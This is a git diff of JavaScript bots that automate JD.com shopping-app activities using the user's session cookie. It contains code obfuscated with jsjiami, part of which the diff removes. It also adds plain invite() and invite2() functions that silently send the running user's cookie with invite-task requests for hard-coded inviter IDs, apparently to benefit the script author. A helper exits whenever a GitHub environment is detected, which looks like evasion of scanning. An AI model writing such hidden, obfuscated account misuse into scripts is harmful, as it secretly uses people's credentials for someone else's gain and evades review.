_0x7c13a=[_0x4528be[_0x5f27('55','#p!4')],_0x4528be[_0x5f27('56','7nBh')],_0x4528be[_0x5f27('57','vLLe')],_0x4528be[_0x5f27('58','3wTS')],_0x4528be[_0x5f27('59','C0ws')],_0x4528be[_0x5f27('5a','Kw2m')],_0x4528be[_0x5f27('5b','vLLe')],_0x4528be[_0x5f27('5c','V6Nx')],_0x4528be[_0x5f27('5d','aU8%')],_0x4528be[_0x5f27('5e','ed*u')],_0x4528be[_0x5f27('5f','ilha')],_0x4528be[_0x5f27('60','lEPt')],_0x4528be[_0x5f27('61','91%f')]][Math[_0x5f27('62','vLLe')](_0x4528be[_0x5f27('63','TvJw')](Math[_0x5f27('25','j8(H')](),0xd))];var _0x586b3f={'Host':_0x4528be[_0x5f27('64','R143')],'accept':_0x4528be[_0x5f27('65','91%f')],'content-type':_0x4528be[_0x5f27('66','[^(Z')],'origin':_0x4528be[_0x5f27('67','N2@S')],'accept-language':_0x4528be[_0x5f27('68','V6Nx')],'user-agent':$[_0x5f27('69','7nBh')]()?process[_0x5f27('6a','TvJw')][_0x5f27('6b','CesG')]?process[_0x5f27('6c','8^js')][_0x5f27('6d','#p!4')]:_0x4528be[_0x5f27('6e','7nBh')](require,_0x4528be[_0x5f27('6f','lEPt')])[_0x5f27('70','XsN9')]:$[_0x5f27('71','0icS')](_0x4528be[_0x5f27('72','[^o5')])?$[_0x5f27('73','Kw2m')](_0x4528be[_0x5f27('74','9q*T')]):_0x4528be[_0x5f27('75','e69j')],'referer':_0x4528be[_0x5f27('76','aU8%')],'Cookie':cookie};var _0xded7d1=_0x5f27('77','V6Nx')+_0x4528be[_0x5f27('78','ed*u')](encodeURIComponent,_0x7c13a)+_0x5f27('79','GsGt')+_0x297a32;var _0x4e6c1c={'url':_0x5f27('7a','D6)v')+ +new Date(),'headers':_0x586b3f,'body':_0xded7d1};$[_0x5f27('7b','[^o5')](_0x4e6c1c,(_0x4129d7,_0x3dcfb6,_0x48a4c9)=>{});};_0xod3='jsjiami.com.v6'; +function invite2() { + let t = +new Date() + let inviterId = [ + "/eNHdfn6fP+TFwVda3ipjWwvTFqeKBZaRG38adWABKk=", + "R+eeS9UrTadw7yIF7ubkxBOARQK0BNXiQLVF0TyAf4Q=", + "Sev6JWjut6GyaEHJIWpSQQ==" + ][Math.floor((Math.random() * 3))] + let headers = { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://assignment.jd.com', + 'accept-language': 'zh-cn', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'referer': `https://assignment.jd.com/?inviterId=${encodeURIComponent(inviterId)}`, + 'Cookie': cookie + } + + let dataString = `functionId=TaskInviteService&body={"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":"${encodeURIComponent(inviterId)}","type":1}}&appid=market-task-h5&uuid=&_t=${t}`; + + var options = { + url: 'https://api.m.jd.com/', + headers: headers, + body: dataString + } + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} + +function invite() { + let t = +new Date() + let inviterId = [ + "/eNHdfn6fP+TFwVda3ipjWwvTFqeKBZaRG38adWABKk=", + "R+eeS9UrTadw7yIF7ubkxBOARQK0BNXiQLVF0TyAf4Q=", + "Cg7WMrLsk/PPSHaOd9q2ULzDByNly0QecJ4K7QiZhLk=", + "Sev6JWjut6GyaEHJIWpSQQ==" + ][Math.floor((Math.random() * 4))] + var headers = { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'content-type': 'application/x-www-form-urlencoded', + 'origin': 'https://invite-reward.jd.com', + 'accept-language': 'zh-cn', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'referer': 'https://invite-reward.jd.com/', + 'Cookie': cookie + }; + + var dataString = `functionId=InviteFriendChangeAssertsService&body={"method":"attendInviteActivity","data":{"inviterPin":"${encodeURIComponent(inviterId)}","channel":1,"token":"","frontendInitStatus":""}}&referer=-1&eid=eidIf3dd8121b7sdmiBLGdxRR46OlWyh62kFAZogTJFnYqqRkwgr63%2BdGmMlcv7EQJ5v0HBic81xHXzXLwKM6fh3i963zIa7Ym2v5ehnwo2B7uDN92Q0&aid=&client=ios&clientVersion=14.4&networkType=wifi&fp=-1&appid=market-task-h5&_t=${t}`; + var options = { + url: `https://api.m.jd.com/?t=${+new Date()}`, + headers: headers, + body: dataString + }; + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} function TotalBean() { return new Promise(async resolve => { @@ -752,4 +820,4 @@ function jsonParse(str) { }); // prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_superMarket.js b/jd_superMarket.js index fe0eb83..62dd8ec 100755 --- a/jd_superMarket.js +++ b/jd_superMarket.js @@ -21,7 +21,7 @@ const $ = new Env('东东超市'); //Node.js用户请在jdCookie.js处填写京东ck; //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = '', jdSuperMarketShareArr = [], notify, newShareCodes; -let helpAu = true;//给作者助力 免费拿,极速版拆红包,省钱大赢家等活动.默认true是,false不助力. +let helpAu = false;//给作者助力 免费拿,省钱大赢家等活动.默认true是,false不助力. helpAu = $.isNode() ? (process.env.HELP_AUTHOR ? process.env.HELP_AUTHOR === 'true' : helpAu) : helpAu; let jdNotify = true;//用来是否关闭弹窗通知,true表示关闭,false表示开启。 let superMarketUpgrade = true;//自动升级,顺序:解锁升级商品、升级货架,true表示自动升级,false表示关闭自动升级 @@ -70,17 +70,16 @@ let shareCodes = [] } } })() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) async function jdSuperMarket() { try { - await receiveGoldCoin();//收金币 - await businessCircleActivity();//商圈活动 + // await receiveGoldCoin();//收金币 + // await businessCircleActivity();//商圈活动 await receiveBlueCoin();//收蓝币(小费) // await receiveLimitProductBlueCoin();//收限时商品的蓝币 await daySign();//每日签到 @@ -94,9 +93,9 @@ async function jdSuperMarket() { // await manageProduct(); // await limitTimeProduct(); await smtg_shopIndex(); - await smtgHome(); + // await smtgHome(); await receiveUserUpgradeBlue(); - await Home(); + // await Home(); if (helpAu === true) { await helpAuthor(); } @@ -104,15 +103,13 @@ async function jdSuperMarket() { $.logErr(e) } } - function showMsg() { $.log(`【京东账号${$.index}】${$.nickName}\n${message}`); jdNotify = $.getdata('jdSuperMarketNotify') ? $.getdata('jdSuperMarketNotify') : jdNotify; if (!jdNotify || jdNotify === 'false') { - $.msg($.name, subTitle, `【京东账号${$.index}】${$.nickName}\n${message}`); + $.msg($.name, subTitle ,`【京东账号${$.index}】${$.nickName}\n${message}`); } } - //抽奖功能(招财进宝) async function drawLottery() { console.log(`\n注意⚠:东东超市抽奖已改版,花费500蓝币抽奖一次,现在脚本默认已关闭抽奖功能\n`); @@ -123,7 +120,7 @@ async function drawLottery() { if (`${drawLotteryFlag}` === 'true') { const smtg_lotteryIndexRes = await smtg_lotteryIndex(); if (smtg_lotteryIndexRes && smtg_lotteryIndexRes.data.bizCode === 0) { - const {result} = smtg_lotteryIndexRes.data + const { result } = smtg_lotteryIndexRes.data if (result.blueCoins > result.costCoins && result.remainedDrawTimes > 0) { const drawLotteryRes = await smtg_drawLottery(); console.log(`\n花费${result.costCoins}蓝币抽奖结果${JSON.stringify(drawLotteryRes)}`); @@ -137,7 +134,6 @@ async function drawLottery() { console.log(`设置的为不抽奖\n`) } } - async function help() { return console.log(`\n开始助力好友`); @@ -147,14 +143,13 @@ async function help() { console.log(`助力好友${JSON.stringify(res)}`); } } - async function doDailyTask() { const smtgQueryShopTaskRes = await smtgQueryShopTask(); if (smtgQueryShopTaskRes.code === 0 && smtgQueryShopTaskRes.data.success) { const taskList = smtgQueryShopTaskRes.data.result.taskList; console.log(`\n日常赚钱任务 完成状态`) for (let item of taskList) { - console.log(` ${item['title'].length < 4 ? item['title'] + `\xa0` : item['title'].slice(-4)} ${item['finishNum'] === item['targetNum'] ? '已完成' : '未完成'} ${item['finishNum']}/${item['targetNum']}`) + console.log(` ${item['title'].length < 4 ? item['title']+`\xa0` : item['title'].slice(-4)} ${item['finishNum'] === item['targetNum'] ? '已完成':'未完成'} ${item['finishNum']}/${item['targetNum']}`) } for (let item of taskList) { //领奖 @@ -210,199 +205,19 @@ async function doDailyTask() { } } } - -var _0xod8 = 'jsjiami.com.v6', - _0x435a = [_0xod8, 'C8OsSsKcRA==', 'AsOISg==', 'wq7Dkjx7', 'w4DCiBDCmA==', 'McOhw5Y6w7rCqw==', 'FyxD', 'KCtAGFA=', 'aF9zwoVnw5LDtl3Chw==', 'woPkuK3kuZfot4zlu6fDiAtgYk/mn4Tor4zorojms6flpJzotLDDt+KCuu+7suKCm++5jg==', 'UjXDnzbDkg==', 'fcOdasKVWg==', 'EMKbwovCpcOrwolHLA/ChsKPWQ==', 'LMK5wrfCqVXDusKyBcOOF8KcM8KBPBLDk8OhdsKkwpvCi8KbSMOcw7ZLw6jDoCrDnMOOY8OUGRvCr8KQw7PCo8ODKVbClyN9woFKJ8KCw78yWmjCisKYwpvCsnXCocKcTMKjw4w4w5TDhlrCicK6KcKxIMOTw7NXPGI5w7bDmsOOw53DjsOoNcKZw5poJAnDlsOhGSACwpJlw5JwVGtVw7vCnC3DuhDDnMOcdSzCq3Y0w7HDpsOKwrRBHw7CmMO7acK7wrvDgcKLw5LCj8KPw40gw7LDrXkHUU9Fw5HDjsKfwpEAEmIQwrJTw6vCrcKNw65lw5c7ZBUQOMKrw7YPSmnCgHEiwo/Csg==', 'w6ArD2nCv8ObR8OhTsOxIgFuwqohWGbCgwtqHyRYw6nDtcKtGGfDvWTDqsOSIsKHCMOAwofDv3hHw5jCrDjCpsKPwp02VF8pdnMBDit/wobDicOJG8OAwp/DrcOkwoIawoQ6RRXCkMOJwqbCn8K8w5c0FcKGAcKAMDbCmhbCocKFw6nCisKHAzAnwpdfwqJrw53CnsO+UngVw4tRFCDCvsK3KBTDlXTCmxw4WWnDrWgoQAY5IMKCw5JMTcKoAgLDusOzUcKWwpsywoExworCmMOVwovCssOFwrhuw5rCl2Vjw5o4wqnDlsKtQzzCn20UE8O5KMOdSSjDhcK7DQ==', 'aznCo2rCgsKCM8KJbQFRXsO+w59qw4tPwrhPw4jCl8OhXMODw7vDonvCnsO9LMKwwop0DBzCtws2wp/CksKvKXzDuwxnw6jDtsO/SMKtw4pNwrPCp8Ohw5TCj8OFPV/ChMKww71hwrfDuB7Dn1t5e8OLw47Dl8KNNlfDtMOpOz/CqcOaeMOvw7fCslIifTFawqTClE8xc8K3GcKcw44yGj4/w5fCo8K9eVvCmcKzw6pDwphvRX/ChAIFH8KpwrxAwpDCrUp2wqrDnik4w751w7vDh2Edw458w5jCpmXCmil6YFBBfgXChnPDtUZ5w4/DsgtYOsK2bcOdw58lNAXDtQ==', 'woE1wp8wwrg=', 'BTgqw4gG', 'BsOEw48xw6o=', 'PTjCgUgN', 'w6dGwoHDpGk=', 'w6I3eFZ+', 'G8OKTsKOfg==', 'F8K8wqLCiH0=', 'wrJGw5wfVw==', 'w43CscKqwqV6', 'w6LCscORw63Cgg==', 'IcOMw6Y9w7w=', 'w4rCpwY0Bg==', 'wpzCsivCucOT', 'wqLChMKxIsKU', 'W8OTd8KqZw==', 'CSJKE1DCgg==', 'STLDgg==', 'w58rAQ==', 'HMOzVcK6bA==', 'w6RQwpAVXA==', 'acOxw7o=', 'w4LCjwDCqx0=', 'w6VeLA==', 'wpnCjlMxBcOnw7hewqA=', 'FUDCocKLUg==', 'w6crecK1UQ==', 'ZsOxw7nClg==', 'EcKkwqLCiVLDpsKk', 'EHxBCw==', 'w5VgwrYyYzbDqBnCtyIfwohdFMK+wrUQw58=', 'w51qwrXDu8K1aWILwp8hEDJ5M8KGVw==', 'wo5/Mwg1Bw==', 'UVUmKsKc', 'w7fCgDfCiC0=', 'wr/CqhjDhV0=', 'TQrDjQ/DoA==', 'CU7CtA==', 